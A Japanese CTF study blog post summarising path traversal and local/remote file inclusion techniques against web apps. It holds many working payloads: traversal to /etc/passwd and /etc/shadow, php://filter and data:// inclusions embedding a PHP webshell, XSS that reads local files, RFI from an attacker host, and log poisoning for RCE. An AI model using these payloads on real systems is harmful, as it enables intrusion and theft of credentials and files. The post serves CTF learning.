はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip)

この記事はCTFのWebセキュリティ Advent Calendar 2021の8日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Path Traversal

攻撃、テク

  • 例えばget.php?file=image.jpgという風にファイルを取得するエンドポイントがあったとする。
    • この場合に適切に処理を行っていないと、get.php?file=/etc/passwdと書くことで任意のファイルを抜き出すことができてしまう。
  • LFIとして狙えそうなGETパラメタ集
  • get.php?file=[file]に入れるペイロード
    • /etc/passwd ルートディレクトリ指定ができるかも
    • ../etc/passwd, ../../etc/passwd ルートディレクトリ指定できなくても../を増やしていき、表示できるか探せばいい
    • php://filter/convert.base64-encode/resource=index.php
  • /の状態で../しても/のままなので../が過剰な分にはルートからたどる場合は問題ない
  • メモリ読み取りができたりする
    • /proc/self/mapsでメモリマップを確認できる
    • /proc/self/memで実際のメモリにアクセスできる
    • /proc/self/mapsで怪しいメモリアドレスを特定して、/proc/self/memのその部分を持ってくる
    • ångstromCTF - LeetTube
  • WAF(Web Application Firewall)によってディレクトリトラバーサルが抑制されている場合がある。
    • リクエストは「ユーザー → WAF → アプリ」と流れていき、WAFでリクエストを止めていたりするので注意
  • PDF作成からLFI
    • iframe/frame, object, fonts(CSS)で持ってくる
    • <iframe src="file:///c:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
    • 認証情報を取り出してRCEまでつなげた例
    • XSS経由で
      • <img src=x onerror=document.write('aaaa'%2bwindow.location)>pwdできる
      • <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
    • web.configがとれないか
    • about://も面白いらしい
    • file://が使えないなら、どっかに<?php header("Location: file:///flag"); ?>みたいなのを立ててhttpでつなぐ

便利スキーム

  • php
    • php://filter/convert.base64-encode/resource=index.php よく使う。base64した状態でresourceのファイルを出力される
    • php://filter/resource=index.php こうすると、base64せず普通の状態でファイル出力される
    • php://input
      • これを書いて、POSTで<?php system("ls -la ./"); ?>を送ると、POSTデータをinclusionできる。RFIっぽいけど、厳密にはどうなんだろう
    • 他にも色々ある PHPがサポートするURLスキームを調査する - Ryoto's Blog
  • data
    • dataプロトコルを使うと、ファイルを直接入れ込むことができる
    • data://text/plain,<?php%20print_r(scandir(%27./%27));
    • data:text/plain,base64,[base64] base64にして埋め込むことも可能
  • expect
    • expect://ls 使えたことがないけど、こういうこともできるらしい
  • http
    • http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a
      • こういう記法もあるっぽい?ローカルファイルを取得するのと同じ
    • 普通にどっかのサーバにファイルを上げて、http://attacker-server.example.com/evil.phpとかしてRFIできる問題もある
  • file
    • file:///etc/passwd
    • file:///proc/self/cwd/testhook.php
  • Browser-Based application LFI
    • file:///etc/passwd blacklisted? Use "view-source:file:///etc/passwd"
    • "view-source" is often forgotten by developers in blacklists.
  • パスそのまま /etc/passwd

フィルタリングのバイパス

読み取りディレクトリ先

  • /etc
    • /etc/passwd いつもの
    • /etc/shadow
    • /etc/apache2
      • /etc/apache2/apache2.conf apache設定ファイル
      • /etc/apache2/sites-enabled/000-default.conf
    • /etc/nginx
      • /etc/nginx/nginx.conf
      • /etc/nginx/sites-enabled/default ここが一番候補?
      • /etc/nginx/sites-available/default
  • /proc
  • /sys/class/net/[device-id]/address MACアドレス表示(device-idは/proc/net/arpのDeviceと対応している)
  • /var
    • /var/www/html 大体ここにapacheの公開ファイルが入っている
    • /var/log/apache2/access.log 成功したリクエストのログ出力先
    • /var/log/apache2/error.log エラー時の出力先
    • /var/log/nginx/access.log nginxのデフォルトログ出力先
  • ~
  • windowsの場合

nginx

LFIからRCEへ

  • PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThings · GitHub
  • File Inclusion/Path traversal - HackTricks
    • いろいろな場面を紹介している
  • RCE via LFI Log Poisoning - The Death Potion | by Jerry Shah (Jerry) | Medium
    • lfiできるポイントが見つかって、色々試すと/var/log/vsftpd.logへアクセスできることがわかる
    • nmapするとFTPのポートが空いていたので、そのポートにログイン試行をしてユーザー名を<?php system($_GET[‘commandInjection’]); ?>として実行する
    • すると、ログにそれが残るので、commandInjectionというGETの引数に適当なコマンドを入れて、LFIで/var/log/vsftpd.logを持ってくればRCE達成
    • 使えそうなログ /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/log/apache/error_log /var/log/apache2/error_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/error_log /var/log/error.log /var/www/logs/error_log /var/www/logs/error.log
  • data:プロトコルでwebshellを埋め込む
    • Hand Guide To Local File Inclusion(LFI)
      • http://www.zamenfeld.com.ar/main.php?pagina=data:text/plain,<?system($_GET['x']);?>&x=ls
      • http://www.zamenfeld.com.ar/main.php?pagina=data:,<?system($_GET['x']);?>&x=ls
      • http://www.zamenfeld.com.ar/main.php?pagina=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

Zipとか